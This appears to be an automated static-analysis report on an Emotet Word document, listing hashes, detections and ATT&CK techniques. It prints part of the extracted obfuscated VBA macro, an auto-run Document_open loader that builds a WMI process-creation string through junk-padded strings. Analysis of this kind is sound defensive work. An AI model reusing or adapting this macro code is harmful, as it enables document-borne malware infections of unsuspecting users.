Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 1183c3e3ce698e99…

MALICIOUS

Office (OLE)

217.9 KB Created: 2020-08-28 10:47:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 13e62112a7b636b29a755075f1d0aaa9 SHA-1: 09ac77a4ed36bf8676a397757f5476b536e99831 SHA-256: 1183c3e3ce698e995f25ecf45a98cebceea253ff0caab2bbef1eb4c4c178eda6
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet. The use of CreateObject and obfuscated code suggests the macro is designed to download and execute a secondary payload. The ClamAV detection also confirms its malicious nature as a downloader.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13598 bytes
SHA-256: e824b00bb6e4820ab50318f7d5c6dce7027539d3fca8c9b2cd9fbf2b87fc7d95
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Iozezs45epfsqi3b4"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Jyd54z9h1zwmtk8m.X4rfpsh6acgvar
End Sub


Attribute VB_Name = "Jyd54z9h1zwmtk8m"
Attribute VB_Base = "0{E2DCF65B-0EDB-4FCF-B1E7-24F3E99C1E1A}{AB0BB19E-1BB8-4E45-82B2-A00AA0B499C5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function X4rfpsh6acgvar()
   On Error Resume Next
   Select Case tjbJ6i4
      Case 60
         NPsJ = WhdMAJT
         fAoV6e6xV = Sqr(EEV)
      Case 9639
         RIL = Log(242115376)
         VwV = Sgn(RRvoxs5 - DzCXc3U1)
    End Select
         myEgb4n = (MpimH9010 + Tan(Horz) - 1429 / CLng(cvVZ31 - 287) + 18253854 / Rnd(NhiD74) - TCEy4K5 / uEFH5dP2 * (8 - ChrW(baBc * CDbl(zPqB71 * CInt(cPDa57DC))) / Jck / 764))
         ENuR42UjH = (1 + ChrW(7) + 450 + CDbl(IkUaP) - SbKdg - ZdsuS + isrmH / 3)
Vtoztf9_cj9ekehv4d = 100
   On Error Resume Next
   Select Case tjbJ6i4
      Case 60
         NPsJ = WhdMAJT
         fAoV6e6xV = Sqr(EEV)
      Case 9639
         RIL = Log(242115376)
         VwV = Sgn(RRvoxs5 - DzCXc3U1)
    End Select
         myEgb4n = (MpimH9010 + Tan(Horz) - 1429 / CLng(cvVZ31 - 287) + 18253854 / Rnd(NhiD74) - TCEy4K5 / uEFH5dP2 * (8 - ChrW(baBc * CDbl(zPqB71 * CInt(cPDa57DC))) / Jck / 764))
         ENuR42UjH = (1 + ChrW(7) + 450 + CDbl(IkUaP) - SbKdg - ZdsuS + isrmH / 3)
Xvx3784jb1h68sotd = ChrW(Vtoztf9_cj9ekehv4d + (yyyy + 5 + bbbbb + 10))
   On Error Resume Next
   Select Case tjbJ6i4
      Case 60
         NPsJ = WhdMAJT
         fAoV6e6xV = Sqr(EEV)
      Case 9639
         RIL = Log(242115376)
         VwV = Sgn(RRvoxs5 - DzCXc3U1)
    End Select
         myEgb4n = (MpimH9010 + Tan(Horz) - 1429 / CLng(cvVZ31 - 287) + 18253854 / Rnd(NhiD74) - TCEy4K5 / uEFH5dP2 * (8 - ChrW(baBc * CDbl(zPqB71 * CInt(cPDa57DC))) / Jck / 764))
         ENuR42UjH = (1 + ChrW(7) + 450 + CDbl(IkUaP) - SbKdg - ZdsuS + isrmH / 3)
K6gwfy40pivtnf = "2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sw2n3(((((h 2289(7 2379((0si2n3(((((h 2289(7 2379((0snm2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sgm2n3(((((h 2289(7 2379((0st2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s" + Xvx3784jb1h68sotd + "2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s:2n3(((((h 2289(7 2379((0sw2n3(((((h 2289(7 2379((0sin2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s32n3(((((h 2289(7 2379((0s22n3(((((h 2289(7 2379((0s_2n3(((((h 2289(7 2379((0s" + Jyd54z9h1zwmtk8m.Yy4274yh__66 + "2n3(((((h 2289(7 2379((0sro2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sce2n3(((((h 2289(7 2379((0ss2n3(((((h 2289(7 2379((0ss2n3(((((h 2289(7 2379((0s"
   On Error Resume Next
   Select Case tjbJ6i4
      Case 60
         NPsJ = WhdMAJT
         fAoV6e6xV = Sqr(EEV)
      Case 9639
         RIL = Log(242115376)
         VwV = Sgn(RRvoxs5 - DzCXc3U1)
    End Select
         myEgb4n = (MpimH9010 + Tan(Horz) - 1429 / CLng(cvVZ31 - 287) + 18253854 / Rnd(NhiD74) - TCEy4K5 / uEFH5dP2 * (8 - ChrW(baBc * CDbl(zPqB71 * CInt(cPDa57DC))) / Jck / 764))
         ENuR42UjH = (1 + ChrW(7) + 450 + CDbl(IkUaP) - SbKdg - ZdsuS + isrmH / 3)
Nh8wzq7gr_z = Betwhdzhxz99(K6gwfy40pivtnf)
   On Error Resume Next
   Select Case tjbJ6i4
      Case 60
         NPsJ = WhdMAJT
         fAoV6e6xV = Sqr(EEV)
      Case 9639
         RIL = Log(242115376)
         VwV = Sgn(RRvoxs5 - DzCXc3U1)
    End Select
         myEgb4n = (MpimH9010 + Tan(Horz) - 1429 / CLng(cvVZ31 - 287) + 18253854 / Rnd(NhiD74) - TCEy4K5 / uEFH5dP2 * (8 - ChrW(baBc * CDbl(zPqB71 * CInt(cPDa57DC))) / Jck / 764))
         ENuR42UjH = (1 + ChrW(7) + 450 + CDbl(IkUaP) - SbKdg - ZdsuS + isrmH / 3)
   On Error Resume Next
   Select Case tjbJ6i4
      Case 60
... (truncated)